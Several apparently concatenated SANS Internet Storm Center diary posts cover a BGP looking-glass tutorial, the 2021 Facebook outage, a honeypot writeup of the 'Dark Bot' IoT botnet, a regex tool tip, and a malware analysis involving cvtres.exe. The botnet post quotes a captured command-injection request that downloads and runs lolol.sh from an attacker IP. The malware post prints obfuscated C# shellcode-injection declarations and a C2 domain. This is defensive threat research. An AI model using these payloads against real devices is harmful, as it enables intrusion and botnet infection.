AS-Path : 14061 
Route Tag : 0 
Neighbor-AS : 14061 
Orig Validation: NotFound 
Source Class : 0 Dest Class : 0 
Add Paths Send : Default 
Last Modified : 15h03m56s 

The router we selected has multiple "peers." Each peer will exchange routing information with this router resulting in multiple "RIB-in" entries. I am only displaying one of the entries above. Discrepancies in these entries could indicate a problem with information received from a particular router. But they do not have to be identical. Sometimes, there may be a good reason for one router to advertise slightly different information. (RIB = Routing Information Base. The internal database routers use to store routing information).

The important part for us is the "AS-Path" line. I highlighted it above for visibility. It lists the networks that the packet will pass through to reach the destination, starting with the particular router we used to issue this query. In our case, the result is pretty simple. DigitalOcean peers directly with CenturyLink. The AS "Path" in this case is just DigitalOcean's AS, which will receive the packet next.

What you should be looking for is loops (the same ASN showing up multiple times in an AS-Path). Or packets passing through ASNs you did not expect (for example in geographic locations that do not make sense). 

Are you able to get the same information via "traceroute"? Yes and no. The route displayed by traceroute should follow the route communicated via BGP. But not all routers will send ICMP errors back. Many Looking Glass sites do include traceroute as an option so you may run a traceroute from the router to confirm what you are seeing in BGP. A packet may pass through an AS using multiple routers. You will see more "hops" with traceroute and traceroute may identify issues within an AS that are not necessarily visible in BGP.

[1] https://engineering.fb.com/2021/10/04/networking-traffic/outage/

[2] http://www.bgplookingglass.com

[3] https://lookingglass.centurylink.com

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

For the Billions out there still wasting time on Facebook: Enjoy your increased productivity while many Facebook properties (Facebook, Instagram, WhatsApp) are down.

More readable summary of the analysis below: The BGP routes pointing traffic to Facebook's IP address space have been withdrawn. The Internet no longer knows where to find Facebook's IPs. One symptom is that DNS requests are failing. But this is just the result of Facebook hosting its DNS servers inside its own network. Even with working DNS (for example if you still have cached results), the IPs are currently not reachable

Here is a quick view of what may have happened.

1 - Does facebook.com resolve?

% host facebook.com
facebook.com has address 31.13.79.35
facebook.com has IPv6 address 2a03:2880:f141:82:face:b00c:0:25de
facebook.com mail is handled by 2560 smtpin.vvv.facebook.com.


% host www.facebook.com
www.facebook.com is an alias for star-mini.c10r.facebook.com.
star-mini.c10r.facebook.com has address 31.13.88.35
star-mini.c10r.facebook.com has IPv6 address 2a03:2880:f138:83:face:b00c:0:25de

Yes! (at least for me, it does). But was that just a cached response? Let's follow the DNS chain.

2. What is the NS record for facebook.com according to the .com zone?

(abbreviated output)

% dig NS facebook.com @h.gtld-servers.net

 

;; AUTHORITY SECTION: facebook.com. 172800 IN NS a.ns.facebook.com. facebook.com. 172800 IN NS b.ns.facebook.com. facebook.com. 172800 IN NS c.ns.facebook.com. facebook.com. 172800 IN NS d.ns.facebook.com. ;; ADDITIONAL SECTION: a.ns.facebook.com. 172800 IN A 129.134.30.12 a.ns.facebook.com. 172800 IN AAAA 2a03:2880:f0fc:c:face:b00c:0:35 b.ns.facebook.com. 172800 IN A 129.134.31.12 b.ns.facebook.com. 172800 IN AAAA 2a03:2880:f0fd:c:face:b00c:0:35 c.ns.facebook.com. 172800 IN A 185.89.218.12 c.ns.facebook.com. 172800 IN AAAA 2a03:2880:f1fc:c:face:b00c:0:35 d.ns.facebook.com. 172800 IN A 185.89.219.12 d.ns.facebook.com. 172800 IN AAAA 2a03:2880:f1fd:c:face:b00c:0:35

3. Let's use one of these NS records

% dig NS facebook.com @129.134.30.12
; <<>> DiG 9.10.6 <<>> NS facebook.com @129.134.30.12
;; global options: +cmd
;; connection timed out; no servers could be reached

4. So let's see why we can't reach these servers

% traceroute 129.134.30.12
traceroute to 129.134.30.12 (129.134.30.12), 64 hops max, 52 byte packets
 1  [redacted]  0.628 ms  0.159 ms  0.101 ms
 2  [redacted]  2.333 ms  1.715 ms  1.706 ms
 3  96.120.21.201 (96.120.21.201)  9.123 ms  10.691 ms  10.338 ms
 4  96.110.66.37 (96.110.66.37)  9.254 ms  8.754 ms  10.311 ms
 5  ae-13-ar02.westside.fl.jacksvil.comcast.net (68.86.168.1)  9.332 ms  11.930 ms  9.746 ms
 6  be-33622-cs02.56marietta.ga.ibone.comcast.net (96.110.43.117)  23.797 ms
 7  be-2112-pe12.56marietta.ga.ibone.comcast.net (96.110.33.178)  24.322 ms
 8  * * *

So Comcast doesn't know how to reach Facebook. Well... BGP should tell them

5. Let's check with a BGP Looking Glass

show router bgp routes 129.134.0.0/16 ipv4 hunt 
=============================================================================== 
BGP Router ID:4.69.178.225 AS:3356 Local AS:3356 
=============================================================================== 
Legend - 
Status codes : u - used, s - suppressed, h - history, d - decayed, * - valid 
l - leaked, x - stale, > - best, b - backup, p - purge 
Origin codes : i - IGP, e - EGP, ? - incomplete 

=============================================================================== 
BGP IPv4 Routes 
=============================================================================== 
No Matching Entries Found. 
===============================================================================

So looks like the route is gone. Oh well. Enjoy while it lasts.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

As I have said before, Internet of Things (IoT) devices are best compared to Mosquitos. Individually, they are annoying. But their large number makes them the most deadly animal around [1]. Many botnets like Mirai or Mozi are going after simple exploits affecting large numbers of devices. These mosquito hunters are like birds in the sense that they live from large numbers of vulnerable devices. The botnets themselves are usually mostly an annoyance unless you get hit by a DoS attack (ever parked your car under a tree with nesting birds?).

But aside from these more visible botnets, there are smaller, "Boutique" botnets. They go after less common vulnerabilities and pick systems that the major botnets find not lucrative enough to go after. Usually, only a few vulnerable devices are exposed. Taking the animal analogy a bit too far: These are like crustaceans on the ocean floor living off what the predators above discard.

One such botnet is "Dark Bot." It mostly scans for a few vulnerabilities, and the botnet itself isn't really all that big. For about 10,000 IPs hitting our honeypots, we may see 3 or 4 "Dark Bots." As far as we are concerned, "Dark Bot" is identified by the User-Agent "Dark" (pretty straightforward).

Dark Bot is interesting as it does pick recent vulnerabilities (only one vulnerability below is not from 2021, and I may have misidentified the exact vulnerability here). It likes simple command injection vulnerabilities and uses them to download and execute a script called "lolol.sh". The script will typically follow the playbook of other worms like Mirai and Mozi in downloading the same binary compiled for different architectures to see what sticks.

So what should you do against this type of botnet? Absolutely nothing. None of these devices should ever be exposed to the "outside." Sure, patching is a bit tricky, but without exposure, these vulnerabilities should not be much of an issue as far as this botnet goes. It scans, infects, and moves on. Radware recently published a few details about this botnet as well [2]. 

Here are some of the requests we see from this botnet currently:

RealTek SDK (CVE-2021-35395)

POST /goform/formWsc HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Dark

Seagate Blackarmor NAS (CVE-2014-3206)

GET /backupmgt/localJob.php?session=fail;cd+/tmp;wget+http://212.192.241.87/lolol.sh;curl+-O+http://212.192.241.87/lolol.sh;sh+lolol.sh
Connection: close
Accept-Encoding: gzip, deflate
Accept:
User-Agent: Dark

Buffalo WSR-2533DHPL2 firmware  Vulnerability (CVE-2021-20090)

This is a simple to exploit command injection vulnerability. Other routers may be affected, as well as they may share the same vulnerable firmware.

POST /images/..%2fapply_abstract.cgi
Connection: close
User-Agent: Dark

RealTek SDK (CVE-2021-35395)

This vulnerability affects various IoT devices using the affected RealTek SDK. Again a simple command injection vulnerability not requiring any authentication.

POST /goform/formSysCmd HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Dark

Geutebrück G-Cam E2 and G-Code (multiple possible 2021 CVEs)

POST //uapi-cgi/certmngr.cgi HTTP/1.1
User-Agent: Dark

[1] https://www.cdc.gov/globalhealth/stories/world-deadliest-animal.html 
[2] https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In this video, reacting to a reader's comment, I explain how you can add your own regex to my re-search.py tool (without changing the code).

I create a file with name re-search.txt and content:

str-bang="[^"]+![^"]+"

This will add regurlar expression "[^"]+![^"]+" named str-bang to re-search's library:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

LOLBAS (“Living Off the Land Binaries And Scripts”) is a list of tools[1] that are present on any Windows system because they are provided by Microsoft as useful tools to perform system maintenance, updates, etc. This list is maintained and upgraded regularly. This is a good starting point when you need to investigate suspicious processes activity on a system (proactively or in forensics investigation).

I spotted a piece of malicious script (SHA256:d3a85fbecfc581e1113de2ec8c97e8e15f0c06e9a0f8628269221669f5ca9726) with a VT score of 10/57[2]. It launches a PowerShell script nicely obfuscated. The behavior is classic, it performs code injection but it also compiles some code on the fly. csc.exe is used to build a DLL:

csc.exe /noconfig /fullpaths @"C:\Users\user01\AppData\Local\Temp\8dfrgm9n.cmdline"

The .cmdline file contains:

\xfeff/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\user01\AppData\Local\Temp\8dfrgm9n.dll" /debug- /optimize+ "C:\Users\user01\AppData\Local\Temp\8dfrgm9n.0.cs"

And the .cs file:

\xfeff using System; using System.Runtime.InteropServices; namespace pikl { public class jip { [Flags] public enum AllocationType { Commit = 14096-10000, Reserve = 8190+2 } [Flags] public enum MemoryProtection { ExecuteReadWrite = 60+4 } [Flags] public enum Time : uint { Infinite = 4294967294+1 } [DllImport("ker"+"nel"+"32.d"+"ll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ke"+"rnel3"+"2.dl"+"l")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("k"+"ern"+"el32.dl"+"l")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); } }

Then the script calls another tool from the .Net framework: cvtres.exe:

cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user01\AppData\Local\Temp\RES4D10.tmp" "c:\Users\user01\AppData\Local\Temp\CSC4D00.tmp"

What’s the purpose of this tool? CvtRes stands for "Convert Resource Files To COFF Objects". It converts ".res" resource files into Common Object File Format (COFF[3]) ".obj" object files that the linker can link into a finished ".exe" PE application file.

The malware tries to connect to certificates[.]updatecenter[.]icu but it does not resolve at this time.

So, cvtres.exe is a new tool to add to your LOLBAS list!

[1] https://lolbas-project.github.io
[2] https://www.virustotal.com/gui/file/d3a85fbecfc581e1113de2ec8c97e8e15f0c06e9a0f8628269221669f5ca9726/details
[3] https://en.wikipedia.org/wiki/COFF

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key